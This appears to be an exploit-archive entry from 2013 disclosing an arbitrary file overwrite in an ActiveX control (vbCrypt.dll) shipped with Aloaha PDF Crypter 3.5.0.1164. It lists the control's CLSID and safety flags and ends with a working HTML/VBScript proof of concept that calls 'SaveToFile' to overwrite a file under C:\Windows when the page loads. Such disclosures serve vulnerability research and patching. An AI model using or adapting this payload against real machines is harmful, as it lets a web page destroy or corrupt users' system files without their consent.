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Aloaha PDF Crypter (3.5.0.1164) ActiveX Arbitrary File Overwrite

Author
shinnai
Risk
[
Security Risk Medium
]
0day-ID
0day-ID-20221
Category
dos / poc
Date add
24-01-2013
Platform
windows
============================================================================================
 TITLE:
============================================================================================
 Aloaha PDF Crypter (3.5.0.1164) activex arbitrary file overwrite
 
 url: http://www.aloaha.com/
 download: http://www.aloaha.com/download/aloaha_crypter.zip
 author: shinnai (http://shinnai.altervista.org)
============================================================================================
 FILE INFO:
============================================================================================
 File: C:\WINDOWS\system32\vbCrypt.dll
 InternalName: ebCrypt
 OriginalFilename: ebCrypt.DLL
 FileVersion: 2.0.0.2087
 FileDescription: ebCrypt Main Module
 Product: ebCrypt
 ProductVersion: 2.0.0.2087
 Language: English (United States)
 MD5 hash: b262cb93c555c3c9604502d071a783ec
============================================================================================
 ACTIVEX INFO:
============================================================================================
 ProgID: EbCrypt.eb_c_PRNGenerator.1
 GUID: {B1E7505E-BBFD-42BF-98C9-602205A1504C}
 Description: eb_c_PRNGenerator Class
 Safety report:
 RegKey Safe for Script: False
 RegKey Safe for Init: False
 Implements IObjectSafety: True
 IDisp Safe:  Safe for untrusted: caller,data
============================================================================================
 BUG:
============================================================================================
 This activex contains the "SaveToFile" which could be used to overwite arbitrary files on
 pc users.
============================================================================================
 PROOF OF CONCEPT
============================================================================================
 <html>
  <object classid='clsid:B1E7505E-BBFD-42BF-98C9-602205A1504C' id='test' ></object>
  <script language='vbscript'>
   test.SaveToFile "c:\windows\_system.ini"
  </script>
 </html>
============================================================================================

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